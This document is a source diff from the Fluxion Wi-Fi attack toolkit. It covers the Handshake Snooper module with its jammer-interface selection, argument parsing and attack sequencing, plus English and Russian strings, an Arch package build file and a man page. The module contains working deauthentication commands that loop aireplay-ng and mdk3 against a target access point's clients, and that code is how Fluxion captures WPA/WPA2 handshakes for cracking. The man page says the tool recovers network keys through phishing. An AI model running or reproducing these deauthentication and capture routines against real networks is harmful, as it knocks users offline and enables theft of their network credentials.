if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKEDeauthenticatorPID=""
|
HANDSHAKEDeauthenticatorPID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_start_deauthenticator() {
|
handshake_snooper_start_deauthenticator() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||||
|
|
||||||
|
@ -130,75 +169,133 @@ function handshake_snooper_start_deauthenticator() {
|
||||||
|
|
||||||
# Prepare deauthenticators
|
# Prepare deauthenticators
|
||||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||||
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
"$HandshakeSnooperMdk3MethodOption")
|
||||||
|
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# Start deauthenticators.
|
# Start deauthenticators.
|
||||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||||
"$HandshakeSnooperAireplayMethodOption")
|
"$HandshakeSnooperAireplayMethodOption")
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||||
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
|
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||||
HANDSHAKEDeauthenticatorPID=$!
|
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
|
||||||
|
HANDSHAKEDeauthenticatorPID=$!
|
||||||
;;
|
;;
|
||||||
"$HandshakeSnooperMdk3MethodOption")
|
"$HandshakeSnooperMdk3MethodOption")
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||||
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
|
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||||
HANDSHAKEDeauthenticatorPID=$!
|
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
|
||||||
|
HANDSHAKEDeauthenticatorPID=$!
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_deauthenticator_identifier() {
|
|
||||||
|
handshake_snooper_unset_deauthenticator_identifier() {
|
||||||
|
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi
|
||||||
HANDSHAKEDeauthenticatorIdentifier=""
|
HANDSHAKEDeauthenticatorIdentifier=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_deauthenticator_identifier() {
|
handshake_snooper_set_deauthenticator_identifier() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
|
|
||||||
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
|
local methods=(
|
||||||
|
"$HandshakeSnooperMonitorMethodOption"
|
||||||
|
"$HandshakeSnooperAireplayMethodOption"
|
||||||
|
"$HandshakeSnooperMdk3MethodOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
||||||
|
|
||||||
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
||||||
|
|
||||||
echo
|
echo
|
||||||
|
|
||||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||||
|
"$FLUXIONGeneralBackOption" ]; then
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_identifier() {
|
handshake_snooper_unset_jammer_interface() {
|
||||||
|
if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi
|
||||||
|
HandshakeSnooperJammerInterface=""
|
||||||
|
|
||||||
|
# Check if we're automatically selecting the interface & skip
|
||||||
|
# this one if so to take the user back properly.
|
||||||
|
local interfacesAvailable
|
||||||
|
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
|
||||||
|
|
||||||
|
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
handshake_snooper_set_jammer_interface() {
|
||||||
|
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
|
||||||
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||||
|
"$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
|
||||||
|
|
||||||
|
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
|
||||||
|
echo "Running get jammer interface." > $FLUXIONOutputDevice
|
||||||
|
if ! fluxion_get_interface attack_targetting_interfaces \
|
||||||
|
"$HandshakeSnooperJammerInterfaceQuery"; then
|
||||||
|
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
local selectedInterface=$FluxionInterfaceSelected
|
||||||
|
else
|
||||||
|
local selectedInterface=$HandshakeSnooperUninitializedJammerInterface
|
||||||
|
unset HandshakeSnooperUninitializedJammerInterface
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! fluxion_allocate_interface $selectedInterface; then
|
||||||
|
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
|
||||||
|
return 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
|
||||||
|
HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]}
|
||||||
|
}
|
||||||
|
|
||||||
|
handshake_snooper_unset_verifier_identifier() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierIdentifier=""
|
HANDSHAKEVerifierIdentifier=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_identifier() {
|
handshake_snooper_set_verifier_identifier() {
|
||||||
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_identifier
|
handshake_snooper_unset_verifier_identifier
|
||||||
|
|
||||||
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
local choices=(
|
||||||
|
"$FLUXIONHashVerificationMethodPyritOption"
|
||||||
|
"$FLUXIONHashVerificationMethodAircrackOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
||||||
|
|
||||||
echo
|
echo
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
|
"$FLUXIONHashVerificationMethodPyritOption")
|
||||||
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
HANDSHAKEVerifierIdentifier="pyrit" ;;
|
||||||
"$FLUXIONGeneralBackOption")
|
"$FLUXIONHashVerificationMethodAircrackOption")
|
||||||
handshake_snooper_unset_verifier_identifier
|
HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
||||||
return 1
|
"$FLUXIONGeneralBackOption")
|
||||||
;;
|
handshake_snooper_unset_verifier_identifier
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_interval() {
|
handshake_snooper_unset_verifier_interval() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierInterval=""
|
HANDSHAKEVerifierInterval=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_interval() {
|
handshake_snooper_set_verifier_interval() {
|
||||||
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_interval
|
handshake_snooper_unset_verifier_interval
|
||||||
|
@ -207,84 +304,136 @@ function handshake_snooper_set_verifier_interval() {
|
||||||
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
|
"$HandshakeSnooperVerifierInterval30SOption")
|
||||||
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
|
HANDSHAKEVerifierInterval=30 ;;
|
||||||
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
|
"$HandshakeSnooperVerifierInterval60SOption")
|
||||||
"$FLUXIONGeneralBackOption")
|
HANDSHAKEVerifierInterval=60 ;;
|
||||||
handshake_snooper_unset_verifier_interval
|
"$HandshakeSnooperVerifierInterval90SOption")
|
||||||
return 1
|
HANDSHAKEVerifierInterval=90 ;;
|
||||||
;;
|
"$FLUXIONGeneralBackOption")
|
||||||
|
handshake_snooper_unset_verifier_interval
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_synchronicity() {
|
handshake_snooper_unset_verifier_synchronicity() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierSynchronicity=""
|
HANDSHAKEVerifierSynchronicity=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_synchronicity() {
|
handshake_snooper_set_verifier_synchronicity() {
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
|
|
||||||
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
|
local choices=(
|
||||||
|
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
|
||||||
|
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
|
|
||||||
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
|
||||||
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
|
HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
||||||
"$FLUXIONGeneralBackOption")
|
"$HandshakeSnooperVerifierSynchronicitySynchronousOption")
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
HANDSHAKEVerifierSynchronicity="blocking" ;;
|
||||||
return 1
|
"$FLUXIONGeneralBackOption")
|
||||||
;;
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function unprep_attack() {
|
|
||||||
|
# ============================================================ #
|
||||||
|
# =================== < Parse Parameters > =================== #
|
||||||
|
# ============================================================ #
|
||||||
|
if [ ! "$HandshakeSnooperCLIArguments" ]; then
|
||||||
|
if ! HandshakeSnooperCLIArguments=$(
|
||||||
|
getopt --options="v:i:j:a" \
|
||||||
|
--longoptions="verifier:,interval:,jammer:,asynchronous" \
|
||||||
|
--name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
|
||||||
|
); then
|
||||||
|
echo -e "${CRed}Aborted$CClr, parameter error detected..."
|
||||||
|
sleep 5
|
||||||
|
fluxion_handle_exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
|
||||||
|
|
||||||
|
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ============= < Argument Loaded Configurables > ============ #
|
||||||
|
# ============================================================ #
|
||||||
|
while [ "$1" != "" -a "$1" != "--" ]; do
|
||||||
|
case "$1" in
|
||||||
|
-v|--verifier)
|
||||||
|
HandshakeSnooperVerifierIdentifier=$2; shift;;
|
||||||
|
-i|--interval)
|
||||||
|
HandshakeSnooperVerifierInterval=$2; shift;;
|
||||||
|
-j|--jammer)
|
||||||
|
HandshakeSnooperUninitializedJammerInterface=$2; shift;;
|
||||||
|
-a|--asynchronous)
|
||||||
|
HandshakeSnooperVerifierSynchronicity="non-blocking";;
|
||||||
|
esac
|
||||||
|
shift # Shift new parameters
|
||||||
|
done
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ===================== < Fluxion Hooks > ==================== #
|
||||||
|
# ============================================================ #
|
||||||
|
attack_targetting_interfaces() {
|
||||||
|
interface_list_wireless
|
||||||
|
local interface
|
||||||
|
for interface in "${InterfaceListWireless[@]}"; do
|
||||||
|
echo "$interface"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
unprep_attack() {
|
||||||
HandshakeSnooperState="Not Ready"
|
HandshakeSnooperState="Not Ready"
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
handshake_snooper_unset_verifier_interval
|
handshake_snooper_unset_verifier_interval
|
||||||
handshake_snooper_unset_verifier_identifier
|
handshake_snooper_unset_verifier_identifier
|
||||||
|
handshake_snooper_unset_jammer_interface
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
|
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
||||||
}
|
}
|
||||||
|
|
||||||
function prep_attack() {
|
prep_attack() {
|
||||||
mkdir -p "$FLUXIONWorkspacePath/capture"
|
mkdir -p "$FLUXIONWorkspacePath/capture"
|
||||||
|
|
||||||
while true; do
|
IOUtilsHeader="handshake_snooper_header"
|
||||||
handshake_snooper_set_deauthenticator_identifier
|
|
||||||
if [ $? -ne 0 ]; then break; fi
|
|
||||||
handshake_snooper_set_verifier_identifier
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
handshake_snooper_set_verifier_interval
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_verifier_identifier
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
handshake_snooper_set_verifier_synchronicity
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_verifier_interval
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
HandshakeSnooperState="Ready"
|
|
||||||
break
|
|
||||||
done
|
|
||||||
|
|
||||||
# Check for handshake abortion.
|
# Removed read-only due to local constant shadowing bug.
|
||||||
if [ "$HandshakeSnooperState" != "Ready" ]; then
|
# I've reported the bug, we can add it when fixed.
|
||||||
unprep_attack
|
local sequence=(
|
||||||
|
"set_deauthenticator_identifier"
|
||||||
|
"set_jammer_interface"
|
||||||
|
"set_verifier_identifier"
|
||||||
|
"set_verifier_interval"
|
||||||
|
"set_verifier_synchronicity"
|
||||||
|
)
|
||||||
|
|
||||||
|
if ! fluxion_do_sequence handshake_snooper sequence[@]; then
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
HandshakeSnooperState="Ready"
|
||||||
}
|
}
|
||||||
|
|
||||||
function stop_attack() {
|
stop_attack() {
|
||||||
if [ "$HANDSHAKEArbiterPID" ]; then
|
if [ "$HANDSHAKEArbiterPID" ]; then
|
||||||
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
|
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKEArbiterPID=""
|
HANDSHAKEArbiterPID=""
|
||||||
|
@ -292,12 +441,12 @@ function stop_attack() {
|
||||||
HandshakeSnooperState="Stopped"
|
HandshakeSnooperState="Stopped"
|
||||||
}
|
}
|
||||||
|
|
||||||
function start_attack() {
|
start_attack() {
|
||||||
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
|
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
|
||||||
HandshakeSnooperState="Running"
|
HandshakeSnooperState="Running"
|
||||||
|
|
||||||
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
|
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
|
||||||
HANDSHAKEArbiterPID=$!
|
HANDSHAKEArbiterPID=$!
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -2,6 +2,8 @@
|
||||||
# identifier: Handshake Snopper
|
# identifier: Handshake Snopper
|
||||||
# description: Acquires WPA/WPA2 encryption hashes.
|
# description: Acquires WPA/WPA2 encryption hashes.
|
||||||
|
|
||||||
|
|
||||||
|
HandshakeSnooperJammerInterfaceQuery="Select an interface for jamming."
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
|
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
|
||||||
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"
|
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"
|
||||||
|
|
|
@ -0,0 +1,31 @@
|
||||||
|
#!/bin/bash
|
||||||
|
# identifier: Handshake Snopper
|
||||||
|
# description: Получает зашифрованные WPA/WPA2 хэши (рукопожатия).
|
||||||
|
|
||||||
|
|
||||||
|
HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для глушения."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия"
|
||||||
|
HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)"
|
||||||
|
HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)"
|
||||||
|
HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?"
|
||||||
|
HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})."
|
||||||
|
HandshakeSnooperVerifierInterval60SOption="Каждые 60 секунд."
|
||||||
|
HandshakeSnooperVerifierInterval90SOption="Каждые 90 секунд."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
HandshakeSnooperVerifierSynchronicityQuery="Как должна происходить верификация?"
|
||||||
|
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Асинхронно (${CYel}только на быстрых системах${CClr})."
|
||||||
|
HandshakeSnooperVerifierSynchronicitySynchronousOption="Синхронно (${CGrn}рекомендуется${CClr})."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
HandshakeSnooperStartingArbiterNotice="Запуск демона ${CCyn}Handshake Snooper$CClr."
|
||||||
|
HandshakeSnooperSnoopingForNSecondsNotice="Проверка каждые \$HANDSHAKEVerifierInterval секунд."
|
||||||
|
HandshakeSnooperStoppingForVerifierNotice="Остановка атаки и проверка хэшей."
|
||||||
|
HandshakeSnooperSearchingForHashesNotice="Поиск хэшей в файле захвата."
|
||||||
|
HandshakeSnooperArbiterAbortedWarning="${CYel}Прервано${CClr}: Операция была прервана, не найдено валидного хэша."
|
||||||
|
HandshakeSnooperArbiterSuccededNotice="${CGrn}Успех${CClr}: Валидный хэш был найден и сохранён в базе данных fluxion."
|
||||||
|
HandshakeSnooperArbiterCompletedTip="Атака ${CBCyn}Handshake Snooper$CBYel завершена, закройте это окно и начните другую атаку.$CClr"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
|
||||||
|
# FLUXSCRIPT END
|
|
@ -0,0 +1,66 @@
|
||||||
|
# Maintainer: Cyberfee <deltax.fluxion@gmail.com>
|
||||||
|
|
||||||
|
_pkgname=fluxion
|
||||||
|
pkgname=$_pkgname-git
|
||||||
|
pkgver=r1183.63b821f
|
||||||
|
pkgrel=1
|
||||||
|
pkgdesc='Fluxion is a security auditing and social-engineering research tool'
|
||||||
|
url='https://github.com/FluxionNetwork/fluxion'
|
||||||
|
license=('GPL3')
|
||||||
|
source=('git://github.com/FluxionNetwork/fluxion.git#branch=master')
|
||||||
|
|
||||||
|
depends=(
|
||||||
|
'aircrack-ng' 'bash>=4.2' 'coreutils'
|
||||||
|
'awk' 'iw' 'unzip'
|
||||||
|
'curl' 'bc' 'xterm'
|
||||||
|
)
|
||||||
|
|
||||||
|
makedepends=('binutils' 'coreutils' 'git')
|
||||||
|
conflicts=('fluxion-git')
|
||||||
|
provides=('fluxion-git')
|
||||||
|
sha256sums=('SKIP')
|
||||||
|
arch=('any')
|
||||||
|
|
||||||
|
prepare() {
|
||||||
|
if [ -d "$srcdir/$pkgname" ]; then
|
||||||
|
rm -rf "$srcdir/$pkgname"
|
||||||
|
fi
|
||||||
|
|
||||||
|
mkdir -p "$srcdir/$pkgname"
|
||||||
|
cd "$srcdir/$pkgname"
|
||||||
|
}
|
||||||
|
|
||||||
|
pkgver() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
|
||||||
|
( set -o pipefail
|
||||||
|
git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' ||
|
||||||
|
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
prepare() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
}
|
||||||
|
|
||||||
|
package() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
|
||||||
|
mkdir -p "$pkgdir/usr/bin"
|
||||||
|
mkdir -p "$pkgdir/usr/share/fluxion"
|
||||||
|
|
||||||
|
install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md
|
||||||
|
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/airgeddon/LICENSE"
|
||||||
|
|
||||||
|
rm -rf *.md .git* *.yml .project .editorconfig
|
||||||
|
|
||||||
|
cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion"
|
||||||
|
|
||||||
|
cat > "$pkgdir/usr/bin/fluxion" << EOF
|
||||||
|
#!/bin/sh
|
||||||
|
cd /usr/share/fluxion
|
||||||
|
exec bash fluxion.sh "\${@}"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod a+x "$pkgdir/usr/bin/fluxion"
|
||||||
|
}
|
|
@ -0,0 +1,76 @@
|
||||||
|
.TH FLUXION 1 "MARCH 2018" Linux "User Manuals"
|
||||||
|
.SH NAME
|
||||||
|
fluxion \- Fluxion is a security auditing and social-engineering research tool
|
||||||
|
.SH SYNOPSIS
|
||||||
|
.B fluxion [-debug] [-l
|
||||||
|
.I language
|
||||||
|
.B ]
|
||||||
|
.I attack
|
||||||
|
.B ...
|
||||||
|
.SH DESCRIPTION
|
||||||
|
.B fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs
|
||||||
|
and more functionality. The script attempts to retrieve the WPA/WPA2
|
||||||
|
key from a target access point by means of a social engineering
|
||||||
|
(phising) attack. It's compatible with the latest release of Kali
|
||||||
|
(rolling). Fluxion's attacks' setup is mostly manual,
|
||||||
|
but experimental auto-mode handles some of the attacks'
|
||||||
|
setup parameters.
|
||||||
|
.SH OPTIONS
|
||||||
|
.IP "-v "
|
||||||
|
Print version number.
|
||||||
|
.IP "--help "
|
||||||
|
Print help page and exit with 0.
|
||||||
|
.IP "-m "
|
||||||
|
Run fluxion in manual mode instead of auto mode.
|
||||||
|
.IP "-k "
|
||||||
|
Kill wireless connection if it is connected.
|
||||||
|
.IP "-d "
|
||||||
|
Run fluxion in debug mode.
|
||||||
|
.IP "-x "
|
||||||
|
Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
.IP "-r "
|
||||||
|
Reload driver.
|
||||||
|
.IP "-l <language>"
|
||||||
|
Define a certain language.
|
||||||
|
.IP "-e <essid>"
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
.IP "-c <channel>"
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
.IP "-a <attack>"
|
||||||
|
Define a certain attack.
|
||||||
|
.IP "--ratio <ratio>"
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
.IP "-b <bssid>"
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
.IP "-j <jamming interface>"
|
||||||
|
Define a certain jamming interface.
|
||||||
|
.IP "-a <access point interface>"
|
||||||
|
Define a certain access point interface.
|
||||||
|
.SH FILES
|
||||||
|
.I /tmp/fluxspace/
|
||||||
|
.RS
|
||||||
|
The system wide tmp directory.
|
||||||
|
.RE
|
||||||
|
.I $FLUXION/attacks/
|
||||||
|
.RS
|
||||||
|
Folder where handshakes and passwords
|
||||||
|
are stored in.
|
||||||
|
.SH ENVIRONMENT
|
||||||
|
.IP FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
.IP FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
.IP FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
.SH DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use
|
||||||
|
the debug mode.
|
||||||
|
.SH BUGS
|
||||||
|
Please report any bugs at:
|
||||||
|
https://github.com/FluxionNetwork/fluxion/issues
|
||||||
|
.SH AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
